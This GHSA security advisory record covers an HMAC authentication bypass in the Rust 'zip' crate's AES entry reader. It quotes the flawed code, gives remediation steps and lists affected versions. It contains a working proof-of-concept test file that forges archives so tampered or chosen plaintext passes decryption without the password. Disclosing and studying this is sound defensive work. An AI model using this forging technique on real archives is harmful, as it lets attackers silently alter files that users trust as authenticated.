{"id":"GHSA-8hxf-qr8p-62x4","summary":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","details":"### Summary\n\nAn AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.\n\n### Details\n\n[`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292):\n\n```rust\nfn read(&mut self, buf: &mut [u8]) -\u003e io::Result\u003cusize\u003e {\n    if self.data_remaining == 0 { // @audit insufficient check\n        return Ok(0);\n    }\n\n    // get the number of bytes to read, compare as u64 to make sure we can read more than\n    // 2^32 bytes even on 32 bit systems.\n    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;\n    let read = self.reader.read(&mut buf[0..bytes_to_read])?;\n    self.data_remaining -= read as u64;\n\n    // Update the hmac with the encrypted data\n    self.hmac.update(&buf[0..read]);\n\n    // decrypt the data\n    self.cipher.crypt_in_place(&mut buf[0..read]);\n\n    // if there is no data left to read, check the integrity of the data\n    if self.data_remaining == 0 {\n        debug_assert!(\n            !self.finalized,\n            \"Tried to use an already finalized HMAC. This is a bug!\"\n        );\n        if self.finalized {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Tried to use an already finalized HMAC\",\n            ));\n        }\n        self.finalized = true;\n\n        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash\n        // see https://www.winzip.com/win/en/aes_info.html#auth-faq\n        let mut read_auth_code = [0; AUTH_CODE_LENGTH];\n        self.reader.read_exact(&mut read_auth_code)?;\n        let computed_auth_code = &self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];\n\n        // use constant time comparison to mitigate timing attacks\n        if !constant_time_eq(computed_auth_code, &read_auth_code) {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Invalid authentication code, this could be due to an invalid password or errors in the data\",\n            ));\n        }\n    }\n\n    Ok(read)\n}\n```\n\n`data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)).\n\nWhen the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.\n\nThis defeats the guarantee the type documents: *\"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed.\"*\n\nAE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.\n\n### PoC\n\n`tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = \"https://github.com/zip-rs/zip2\", rev = \"6f09b3064ec87c3a69ea9f3413f9f9638b4aa446\" }`, or `zip = \"8.6.0\"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.\n\n```rust\nuse std::io::{Cursor, Read, Write};\nuse zip::write::SimpleFileOptions;\nuse zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};\n\nconst PASSWORD: &str = \"correct horse battery staple\";\nconst GENUINE: &[u8] = b\"balance: 100 USD\\n\";\nconst FORGED: &[u8] = b\"balance: 999 USD\\n\";\nconst AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag\n\nfn genuine_archive(plaintext: &[u8]) -\u003e Vec\u003cu8\u003e {\n    let mut w = ZipWriter::new(Cursor::new(Vec::new()));\n    let opts = SimpleFileOptions::default()\n        .compression_method(CompressionMethod::Stored)\n        .with_aes_encryption(AesMode::Aes256, PASSWORD);\n    w.start_file(\"secret.txt\", opts).unwrap();\n    w.write_all(plaintext).unwrap();\n    w.finish().unwrap().into_inner()\n}\n\n/// What a victim does: open with the correct password and read the entry.\nfn victim_reads(archive: &[u8]) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();\n    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();\n    let mut out = Vec::new();\n    f.read_to_end(&mut out)?;\n    Ok(out)\n}\n\nfn u16le(b: &[u8], off: usize) -\u003e usize {\n    u16::from_le_bytes([b[off], b[off + 1]]) as usize\n}\n\n/// Payload offset of the single local file header at offset 0.\nfn payload_start(a: &[u8]) -\u003e usize {\n    30 + u16le(a, 26) + u16le(a, 28)\n}\n\n/// Control: on a well-formed archive the HMAC does reject forged ciphertext.\n#[test]\nfn tampering_is_detected_when_the_declared_size_is_honest() {\n    let mut a = genuine_archive(GENUINE);\n    let ct = payload_start(&a) + 18;\n    for i in 0..GENUINE.len() {\n        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable\n    }\n    let err = victim_reads(&a).unwrap_err();\n    assert!(err.to_string().contains(\"Invalid authentication code\"));\n}\n\n/// The bypass: chosen plaintext is delivered verbatim, without the password.\n#[test]\nfn hmac_is_bypassed_when_the_entry_ends_early() {\n    let genuine = genuine_archive(GENUINE);\n    let hdr_len = payload_start(&genuine);\n    let eocd = genuine.len() - 22; // no archive comment yet\n    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;\n\n    // Park a second copy of the entry after the end-of-central-directory record,\n    // inside the archive comment, so its data ends at true EOF. Header, salt and\n    // password verifier are copied verbatim — no password knowledge is required.\n    let mut evil = genuine.clone();\n    let new_hdr_offset = evil.len() as u32;\n    evil.extend_from_slice(&genuine[..hdr_len + 18]); // local header + salt + verifier\n    for i in 0..GENUINE.len() {\n        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.\n        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);\n    }\n    let comment_len = (evil.len() - genuine.len()) as u16;\n    evil[eocd + 20..eocd + 22].copy_from_slice(&comment_len.to_le_bytes());\n\n    // Repoint the central directory at the parked copy and declare more data than\n    // is present, so `data_remaining` can never reach zero.\n    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;\n    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(&new_hdr_offset.to_le_bytes());\n    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(&declared.to_le_bytes());\n    let hdr2 = new_hdr_offset as usize;\n    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(&declared.to_le_bytes());\n\n    let content = victim_reads(&evil).expect(\"BUG: unauthenticated content was accepted\");\n    assert_eq!(content, FORGED);\n}\n\n/// Second path: an entry with no payload bytes is never authenticated at all.\n#[test]\nfn hmac_is_never_checked_for_a_zero_length_entry() {\n    let mut a = genuine_archive(b\"\");\n    let tag = payload_start(&a) + 18;\n    a[tag] ^= 0xff; // corrupt the 10-byte authentication code\n    let content = victim_reads(&a).expect(\"BUG: a corrupt authentication code was accepted\");\n    assert!(content.is_empty());\n}\n```\n\nTurning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.\n\n### Impact\n\nAny application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.\n\n### Suggested remediation\n\n1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 && self.data_remaining \u003e 0`, return `ErrorKind::UnexpectedEof`.\n2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`.\n3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.","aliases":["CVE-2026-115906"],"modified":"2026-10-29T17:00:04.188177718Z","published":"2026-10-29T16:40:07Z","database_specific":{"cwe_ids":["CWE-1284","CWE-354"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-29T16:40:07Z","nvd_published_at":"2026-10-26T17:17:17Z"},"references":[{"type":"WEB","url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115906"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216"},{"type":"PACKAGE","url":"https://github.com/zip-rs/zip2"},{"type":"WEB","url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0"}],"affected":[{"package":{"name":"zip","ecosystem":"crates.io","purl":"pkg:cargo/zip"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"9.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-8hxf-qr8p-62x4/GHSA-8hxf-qr8p-62x4.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"}]}